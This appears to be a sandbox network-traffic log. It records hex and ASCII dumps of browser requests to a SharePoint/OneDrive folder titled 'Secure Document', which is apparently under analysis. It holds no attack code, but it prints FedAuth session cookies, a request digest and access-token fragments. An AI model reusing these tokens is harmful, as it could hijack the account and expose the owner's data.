2025-03-24 15:04:02 UTC	3647	IN	Data Raw: 65 33 38 0d 0a 63 6f 6e 22 3a 20 22 22 2c 0d 0a 22 48 54 4d 4c 5f 78 30 30 32 30 5f 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 2e 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 2e 6d 61 70 69 63 6f 22 3a 20 22 22 2c 0d 0a 22 73 65 72 76 65 72 75 72 6c 2e 70 72 6f 67 69 64 22 3a 20 22 22 2c 0d 0a 22 53 65 72 76 65 72 52 65 64 69 72 65 63 74 65 64 45 6d 62 65 64 55 72 6c 22 3a 20 22 22 2c 0d 0a 22 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 2e 70 72 6f 67 69 64 22 3a 20 22 22 2c 0d 0a 22 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 2e 75 72 6c 22 3a 20 22 46 41 4c 53 45 22 2c 0d 0a 22 5f 46 69 6c 65 41 72 63 68 69 76 65 53 74 61 74 75 73 22 3a 20 22 22 2c 0d 0a 22 46 69 6c 65 4c 65 61 66 52 65 66 22 3a 20 22 4f 6e 6c 69 6e 65 20 53 68 61 72 65 50 6f 69 6e Data Ascii: e38con": "","HTML_x0020_File_x0020_Type.File_x0020_Type.mapico": "","serverurl.progid": "","ServerRedirectedEmbedUrl": "","File_x0020_Type.progid": "","File_x0020_Type.url": "FALSE","_FileArchiveStatus": "","FileLeafRef": "Online SharePoin
2025-03-24 15:04:02 UTC	4046	IN	Data Raw: 66 63 37 0d 0a 49 44 22 3a 20 22 30 38 31 63 36 65 34 63 2d 35 63 31 34 2d 34 66 32 30 2d 62 32 33 65 2d 31 61 37 31 63 65 62 36 61 36 37 63 22 2c 0a 22 53 74 61 74 69 63 4e 61 6d 65 22 3a 20 22 44 6f 63 49 63 6f 6e 22 2c 0a 22 52 65 61 64 4f 6e 6c 79 22 3a 20 22 54 52 55 45 22 2c 0a 22 43 6c 61 73 73 49 6e 66 6f 22 3a 20 22 49 63 6f 6e 22 2c 0a 22 72 6f 6c 65 22 3a 20 22 43 6f 6d 70 75 74 65 64 22 2c 0a 22 61 72 69 61 4c 61 62 65 6c 22 3a 20 22 54 79 70 65 22 2c 0a 22 46 72 6f 6d 42 61 73 65 54 79 70 65 22 3a 20 22 54 52 55 45 22 2c 0a 22 54 79 70 65 22 3a 20 22 43 6f 6d 70 75 74 65 64 22 2c 0a 22 41 6c 6c 6f 77 47 72 69 64 45 64 69 74 69 6e 67 22 3a 20 22 46 41 4c 53 45 22 2c 0a 22 43 6c 69 65 6e 74 53 69 64 65 43 6f 6d 70 6f 6e 65 6e 74 49 64 22 3a 20 Data Ascii: fc7ID": "081c6e4c-5c14-4f20-b23e-1a71ceb6a67c","StaticName": "DocIcon","ReadOnly": "TRUE","ClassInfo": "Icon","role": "Computed","ariaLabel": "Type","FromBaseType": "TRUE","Type": "Computed","AllowGridEditing": "FALSE","ClientSideComponentId":
2025-03-24 15:04:02 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 69 4e 7a 6b 77 5a 6a 41 69 4c 43 4a 68 64 57 51 69 4f 69 49 77 4d 44 41 77 4d 44 41 77 4d 79 30 77 4d 44 41 77 4c 54 42 6d 5a 6a 45 74 59 32 55 77 4d 43 30 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 76 63 47 39 7a 64 48 56 79 5a 58 4e 6f 61 57 5a 30 4c 57 31 35 4c 6e 4e 6f 59 58 4a 6c 63 47 39 70 62 6e 51 75 59 32 39 74 51 44 67 78 5a 54 55 77 4d 7a 45 79 4c 54 63 30 59 32 59 74 4e 47 46 6a 4e 53 31 69 4d 6a 41 31 4c 54 49 78 4d 57 55 33 59 32 4a 6c 4e 57 46 6b 5a 43 49 73 49 6d 56 34 63 43 49 36 49 6a 45 33 4e 44 49 34 4e 54 41 77 4d 44 41 69 66 51 2e 43 69 4d 4b 43 58 4e 6f 59 58 4a 70 62 6d 64 70 5a 42 49 57 63 44 6c 71 4e 33 6c 6a 64 6c 64 4b 4d 48 6c 50 56 6c 4e 6f 52 32 38 33 54 54 46 35 55 51 6f 49 43 67 4e 7a 64 48 41 53 41 Data Ascii: 2000iNzkwZjAiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvcG9zdHVyZXNoaWZ0LW15LnNoYXJlcG9pbnQuY29tQDgxZTUwMzEyLTc0Y2YtNGFjNS1iMjA1LTIxMWU3Y2JlNWFkZCIsImV4cCI6IjE3NDI4NTAwMDAifQ.CiMKCXNoYXJpbmdpZBIWcDlqN3ljdldKMHlPVlNoR283TTF5UQoICgNzdHASA
2025-03-24 15:04:02 UTC	4154	IN	Data Raw: 31 30 33 32 0d 0a 3d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 25 35 46 70 6f 73 74 75 72 65 73 68 69 66 74 25 35 46 63 6f 6d 25 32 46 44 6f 63 75 6d 65 6e 74 73 25 32 46 53 68 61 72 65 50 6f 69 6e 74 22 2c 22 65 64 69 74 46 6f 72 6d 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 73 74 75 72 65 73 68 69 66 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 5f 70 6f 73 74 75 72 65 73 68 69 66 74 5f 63 6f 6d 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 6c 69 73 74 66 6f 72 6d 2e 61 73 70 78 3f 50 61 67 65 54 79 70 65 3d 36 5c 75 30 30 32 36 4c 69 73 74 49 64 3d 25 37 42 35 34 32 44 44 37 43 45 25 32 44 34 33 32 45 25 32 44 34 38 33 39 25 32 44 Data Ascii: 1032=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint","editFormUrl":"https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/listform.aspx?PageType=6\u0026ListId=%7B542DD7CE%2D432E%2D4839%2D
2025-03-24 15:04:02 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 69 6e 2f 63 6c 69 65 6e 74 2e 73 76 63 2f 77 65 62 2f 47 65 74 4c 69 73 74 55 73 69 6e 67 50 61 74 68 28 44 65 63 6f 64 65 64 55 72 6c 3d 40 61 31 29 2f 52 65 6e 64 65 72 4c 69 73 74 44 61 74 61 41 73 53 74 72 65 61 6d 5c 22 2c 5c 22 6c 61 79 6f 75 74 73 55 72 6c 5c 22 3a 5c 22 5f 6c 61 79 6f 75 74 73 2f 31 35 5c 22 2c 5c 22 77 65 62 49 64 5c 22 3a 5c 22 7b 35 32 36 63 31 32 63 64 2d 31 38 39 32 2d 34 65 31 35 2d 39 31 62 31 2d 37 62 38 31 33 39 65 62 32 38 61 32 7d 5c 22 2c 5c 22 77 65 62 54 69 74 6c 65 5c 22 3a 5c 22 53 65 63 75 72 65 20 20 44 6f 63 75 6d 65 6e 74 5c 22 2c 5c 22 57 65 62 54 69 74 6c 65 43 75 72 72 65 6e 74 4c 43 49 44 5c 22 3a 31 30 33 33 2c 5c 22 77 65 62 54 65 6d 70 6c 61 74 65 5c 22 3a 5c 22 32 31 5c 22 2c 5c 22 77 Data Ascii: 2000in/client.svc/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream\",\"layoutsUrl\":\"_layouts/15\",\"webId\":\"{526c12cd-1892-4e15-91b1-7b8139eb28a2}\",\"webTitle\":\"Secure Document\",\"WebTitleCurrentLCID\":1033,\"webTemplate\":\"21\",\"w
2025-03-24 15:04:02 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 22 45 37 35 42 43 37 46 45 2d 43 36 30 38 2d 34 32 42 46 2d 39 41 31 32 2d 46 36 37 46 46 45 34 41 37 43 39 36 5c 22 3a 74 72 75 65 2c 5c 22 33 33 39 30 30 37 33 37 2d 35 42 35 35 2d 34 45 38 35 2d 41 30 32 41 2d 37 33 33 39 39 37 38 42 35 33 43 30 5c 22 3a 74 72 75 65 2c 5c 22 33 43 43 30 38 39 33 33 2d 32 42 43 41 2d 34 43 37 35 2d 39 42 45 32 2d 30 45 39 41 34 44 36 32 31 42 33 35 5c 22 3a 74 72 75 65 2c 5c 22 33 42 31 42 38 44 43 34 2d 30 46 31 44 2d 34 45 34 33 2d 38 46 35 33 2d 46 38 33 30 34 36 37 46 35 38 37 39 5c 22 3a 74 72 75 65 2c 5c 22 45 46 36 30 34 37 44 42 2d 32 33 35 41 2d 34 43 33 33 2d 38 37 43 46 2d 36 32 30 42 38 36 36 33 43 31 45 39 5c 22 3a 74 72 75 65 2c 5c 22 31 30 33 41 37 44 33 45 2d 39 32 39 42 2d 34 41 36 35 Data Ascii: 2000"E75BC7FE-C608-42BF-9A12-F67FFE4A7C96\":true,\"33900737-5B55-4E85-A02A-7339978B53C0\":true,\"3CC08933-2BCA-4C75-9BE2-0E9A4D621B35\":true,\"3B1B8DC4-0F1D-4E43-8F53-F830467F5879\":true,\"EF6047DB-235A-4C33-87CF-620B8663C1E9\":true,\"103A7D3E-929B-4A65
2025-03-24 15:04:02 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 41 38 33 38 2d 42 31 45 33 2d 34 30 36 35 2d 39 39 33 35 2d 46 41 33 45 32 33 39 43 30 43 31 37 5c 22 3a 74 72 75 65 2c 5c 22 38 32 42 42 39 44 35 31 2d 44 34 45 32 2d 34 42 32 42 2d 39 31 32 43 2d 34 30 39 35 43 34 32 39 35 35 42 36 5c 22 3a 74 72 75 65 2c 5c 22 44 42 42 39 46 30 44 35 2d 44 46 32 39 2d 34 44 30 31 2d 42 30 38 44 2d 34 34 45 44 36 30 41 46 44 36 34 43 5c 22 3a 74 72 75 65 2c 5c 22 42 46 38 43 45 37 34 30 2d 34 30 34 42 2d 34 30 45 42 2d 42 37 41 32 2d 44 36 37 44 31 33 33 32 38 43 30 45 5c 22 3a 74 72 75 65 2c 5c 22 32 33 46 30 37 30 44 39 2d 32 41 41 44 2d 34 31 30 33 2d 38 32 37 43 2d 44 38 35 46 45 43 34 37 30 30 39 33 5c 22 3a 74 72 75 65 2c 5c 22 32 32 42 42 38 45 33 33 2d 33 32 35 38 2d 34 39 31 43 2d 41 41 41 Data Ascii: 2000BA838-B1E3-4065-9935-FA3E239C0C17\":true,\"82BB9D51-D4E2-4B2B-912C-4095C42955B6\":true,\"DBB9F0D5-DF29-4D01-B08D-44ED60AFD64C\":true,\"BF8CE740-404B-40EB-B7A2-D67D13328C0E\":true,\"23F070D9-2AAD-4103-827C-D85FEC470093\":true,\"22BB8E33-3258-491C-AAA
2025-03-24 15:04:02 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 33 2d 44 41 36 34 2d 34 42 42 35 2d 41 42 45 43 2d 39 30 46 35 32 31 41 44 43 33 44 41 5c 22 3a 74 72 75 65 2c 5c 22 43 35 44 38 38 38 45 42 2d 39 41 44 46 2d 34 39 36 41 2d 39 30 31 45 2d 42 30 41 38 37 30 41 45 41 41 46 30 5c 22 3a 74 72 75 65 2c 5c 22 43 31 46 31 41 43 34 35 2d 34 46 43 34 2d 34 46 31 36 2d 41 42 42 34 2d 32 39 39 35 33 37 37 33 34 32 44 38 5c 22 3a 74 72 75 65 2c 5c 22 30 36 34 39 37 46 34 36 2d 30 32 39 30 2d 34 39 36 37 2d 42 39 38 32 2d 37 44 33 41 32 43 32 31 35 42 45 37 5c 22 3a 74 72 75 65 2c 5c 22 33 39 46 31 35 37 35 38 2d 44 35 35 32 2d 34 32 45 44 2d 41 34 45 37 2d 31 35 45 42 38 41 36 42 46 34 41 45 5c 22 3a 74 72 75 65 2c 5c 22 31 36 33 30 45 31 46 36 2d 42 46 38 38 2d 34 46 36 46 2d 39 33 32 37 2d 43 35 Data Ascii: 20003-DA64-4BB5-ABEC-90F521ADC3DA\":true,\"C5D888EB-9ADF-496A-901E-B0A870AEAAF0\":true,\"C1F1AC45-4FC4-4F16-ABB4-2995377342D8\":true,\"06497F46-0290-4967-B982-7D3A2C215BE7\":true,\"39F15758-D552-42ED-A4E7-15EB8A6BF4AE\":true,\"1630E1F6-BF88-4F6F-9327-C5

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:02 UTC	2677	OUT	POST /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive Content-Length: 821 sec-ch-ua-platform: "Windows" Authorization: Bearer CollectSPPerfMetrics: SPSQLQueryCount ScenarioType: AUO sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 x-requestdigest: 0x5349DF551ED9116A792EE53AB471213205ED342AF01D5DF17F8C26CEB7AFD455BA8C1E74B244A494AE6F5BEAD41EFF3B1426D0BBD94729EAFA512B72B67FFA63,24 Mar 2025 15:03:57 -0000 x-ms-cc: t X-ServiceWorker-Strategy: CacheFirst X-SP-REQUESTRESOURCES: listUrl=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments X-ClientService-ClientTag: ODB Web accept: application/json;odata=verbose Content-Type: application/json;odata=verbose User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Origin: https://postureshift-my.sharepoint.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:02 UTC	821	OUT	Data Raw: 7b 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 5f 5f 6d 65 74 61 64 61 74 61 22 3a 7b 22 74 79 70 65 22 3a 22 53 50 2e 52 65 6e 64 65 72 4c 69 73 74 44 61 74 61 50 61 72 61 6d 65 74 65 72 73 22 7d 2c 22 52 65 6e 64 65 72 4f 70 74 69 6f 6e 73 22 3a 31 30 35 32 36 37 39 2c 22 56 69 65 77 58 6d 6c 22 3a 22 3c 56 69 65 77 20 3e 3c 51 75 65 72 79 3e 3c 2f 51 75 65 72 79 3e 3c 56 69 65 77 46 69 65 6c 64 73 3e 3c 46 69 65 6c 64 52 65 66 20 4e 61 6d 65 3d 5c 22 44 6f 63 49 63 6f 6e 5c 22 2f 3e 3c 46 69 65 6c 64 52 65 66 20 4e 61 6d 65 3d 5c 22 4c 69 6e 6b 46 69 6c 65 6e 61 6d 65 5c 22 2f 3e 3c 46 69 65 6c 64 52 65 66 20 4e 61 6d 65 3d 5c 22 4d 6f 64 69 66 69 65 64 5c 22 2f 3e 3c 46 69 65 6c 64 52 65 66 20 4e 61 6d 65 3d 5c 22 45 64 69 74 6f 72 5c 22 2f 3e 3c 46 Data Ascii: {"parameters":{"__metadata":{"type":"SP.RenderListDataParameters"},"RenderOptions":1052679,"ViewXml":"<View ><Query></Query><ViewFields><FieldRef Name=\"DocIcon\"/><FieldRef Name=\"LinkFilename\"/><FieldRef Name=\"Modified\"/><FieldRef Name=\"Editor\"/><F
2025-03-24 15:04:03 UTC	3445	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0 Transfer-Encoding: chunked Content-Type: application/json; charset=utf-8 Expires: Sun, 09 Mar 2025 15:04:02 GMT Last-Modified: Mon, 24 Mar 2025 15:04:02 GMT Vary: Origin P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4193877,0,0,241374,80566,80566,41917 X-SharePointHealthScore: 3 X-SP-SERVERSTATE: ReadOnly=0 DATASERVICEVERSION: 3.0 SPClientServiceRequestDuration: 151 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b7ad8da1-b0a5-8000-6ce4-9b8f37ccd57a request-id: b7ad8da1-b0a5-8000-6ce4-9b8f37ccd57a MS-CV: oY2tt6WwAIBs5JuPN8zVeg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F04B65DFCB7C4C95ADEDD0144647E43B Ref B: EWR311000105025 Ref C: 2025-03-24T15:04:02Z Date: Mon, 24 Mar 2025 15:04:02 GMT Connection: close
2025-03-24 15:04:03 UTC	852	IN	Data Raw: 33 34 64 0d 0a 7b 22 77 70 71 22 3a 22 22 2c 22 54 65 6d 70 6c 61 74 65 73 22 3a 7b 7d 2c 22 4c 69 73 74 44 61 74 61 22 3a 7b 20 22 52 6f 77 22 20 3a 20 0a 5b 7b 0d 0a 22 49 44 22 3a 20 22 31 31 22 2c 0d 0a 22 50 65 72 6d 4d 61 73 6b 22 3a 20 22 30 78 31 30 30 33 30 30 38 30 33 31 30 30 31 22 2c 0d 0a 22 46 53 4f 62 6a 54 79 70 65 22 3a 20 22 31 22 2c 0d 0a 22 48 54 4d 4c 5f 78 30 30 32 30 5f 46 69 6c 65 5f 78 30 30 32 30 5f 54 79 70 65 22 3a 20 22 22 2c 0d 0a 22 55 6e 69 71 75 65 49 64 22 3a 20 22 7b 32 35 37 44 36 35 44 34 2d 44 43 32 42 2d 34 42 41 42 2d 38 44 37 38 2d 30 30 36 43 38 36 32 31 37 39 39 34 7d 22 2c 0d 0a 22 50 72 6f 67 49 64 22 3a 20 22 22 2c 0d 0a 22 4e 6f 45 78 65 63 75 74 65 22 3a 20 22 30 22 2c 0d 0a 22 43 6f 6e 74 65 6e 74 54 79 70 Data Ascii: 34d{"wpq":"","Templates":{},"ListData":{ "Row" : [{"ID": "11","PermMask": "0x1003008031001","FSObjType": "1","HTML_x0020_File_x0020_Type": "","UniqueId": "{257D65D4-DC2B-4BAB-8D78-006C86217994}","ProgId": "","NoExecute": "0","ContentTyp
2025-03-24 15:04:03 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 65 41 72 63 68 69 76 65 53 74 61 74 75 73 22 3a 20 22 22 2c 0d 0a 22 46 69 6c 65 4c 65 61 66 52 65 66 22 3a 20 22 53 68 61 72 65 50 6f 69 6e 74 22 2c 0d 0a 22 43 68 65 63 6b 6f 75 74 55 73 65 72 22 3a 20 22 22 2c 0d 0a 22 43 68 65 63 6b 65 64 4f 75 74 55 73 65 72 49 64 22 3a 20 22 22 2c 0d 0a 22 49 73 43 68 65 63 6b 65 64 6f 75 74 54 6f 4c 6f 63 61 6c 22 3a 20 22 30 22 2c 0d 0a 22 5f 43 6f 6d 70 6c 69 61 6e 63 65 46 6c 61 67 73 22 3a 20 22 22 2c 0d 0a 22 5f 53 68 6f 72 74 63 75 74 55 72 6c 22 3a 20 22 22 2c 0d 0a 22 5f 53 68 6f 72 74 63 75 74 55 72 6c 2e 64 65 73 63 22 3a 20 22 22 2c 0d 0a 22 5f 53 68 6f 72 74 63 75 74 53 69 74 65 49 64 22 3a 20 22 22 2c 0d 0a 22 5f 53 68 6f 72 74 63 75 74 57 65 62 49 64 22 3a 20 22 22 2c 0d 0a 22 5f 53 Data Ascii: 2000eArchiveStatus": "","FileLeafRef": "SharePoint","CheckoutUser": "","CheckedOutUserId": "","IsCheckedoutToLocal": "0","_ComplianceFlags": "","_ShortcutUrl": "","_ShortcutUrl.desc": "","_ShortcutSiteId": "","_ShortcutWebId": "","_S
2025-03-24 15:04:03 UTC	4025	IN	Data Raw: 66 62 32 0d 0a 2c 0a 22 72 6f 6c 65 22 3a 20 22 4c 6f 6f 6b 75 70 22 2c 0a 22 61 72 69 61 4c 61 62 65 6c 22 3a 20 22 55 52 4c 20 50 61 74 68 22 2c 0a 22 46 72 6f 6d 42 61 73 65 54 79 70 65 22 3a 20 22 54 52 55 45 22 2c 0a 22 54 79 70 65 22 3a 20 22 4c 6f 6f 6b 75 70 22 2c 0a 22 41 6c 6c 6f 77 47 72 69 64 45 64 69 74 69 6e 67 22 3a 20 22 46 41 4c 53 45 22 2c 0a 22 43 6c 69 65 6e 74 53 69 64 65 43 6f 6d 70 6f 6e 65 6e 74 49 64 22 3a 20 22 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 22 2c 0a 22 50 69 6e 6e 65 64 54 6f 46 69 6c 74 65 72 73 50 61 6e 65 22 3a 20 22 46 41 4c 53 45 22 2c 0a 22 53 68 6f 77 49 6e 46 69 6c 74 65 72 73 50 61 6e 65 22 3a 20 22 41 75 74 6f 22 7d 0a 2c 7b 22 4e 61 6d 65 22 Data Ascii: fb2,"role": "Lookup","ariaLabel": "URL Path","FromBaseType": "TRUE","Type": "Lookup","AllowGridEditing": "FALSE","ClientSideComponentId": "00000000-0000-0000-0000-000000000000","PinnedToFiltersPane": "FALSE","ShowInFiltersPane": "Auto"},{"Name"
2025-03-24 15:04:03 UTC	7426	IN	Data Raw: 31 63 66 61 0d 0a 69 77 35 4d 6e 5a 47 54 6d 46 68 4e 48 46 68 61 7a 4a 78 57 6a 52 34 65 56 64 48 4c 32 5a 4c 64 55 4a 78 59 32 4a 4c 62 32 31 4d 54 6a 4e 4e 55 55 4e 46 61 31 4d 32 63 55 4a 76 50 54 42 36 4f 41 46 4b 45 47 68 68 63 32 68 6c 5a 48 42 79 62 32 39 6d 64 47 39 72 5a 57 35 69 42 48 52 79 64 57 56 79 59 54 42 6f 4c 6d 5a 38 62 57 56 74 59 6d 56 79 63 32 68 70 63 48 78 31 63 6d 34 6c 4d 32 46 7a 63 47 38 6c 4d 32 46 68 62 6d 39 75 49 32 46 69 4f 54 45 35 59 54 59 32 4d 57 49 30 59 54 56 6a 4e 6d 55 32 5a 57 52 69 4d 6a 4a 69 4e 57 4d 31 59 57 55 77 4d 54 45 34 5a 6d 59 35 5a 57 45 35 59 32 5a 6b 5a 44 59 7a 4d 54 55 77 4d 32 55 77 4d 7a 45 77 4e 6d 59 34 4e 57 51 33 5a 54 68 6b 59 6a 5a 36 41 54 44 43 41 57 45 77 49 79 35 6d 66 47 31 6c 62 57 Data Ascii: 1cfaiw5MnZGTmFhNHFhazJxWjR4eVdHL2ZLdUJxY2JLb21MTjNNUUNFa1M2cUJvPTB6OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjZ6ATDCAWEwIy5mfG1lbW
2025-03-24 15:04:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:02 UTC	1617	OUT	GET /_layouts/15/images/BLANK.gif HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 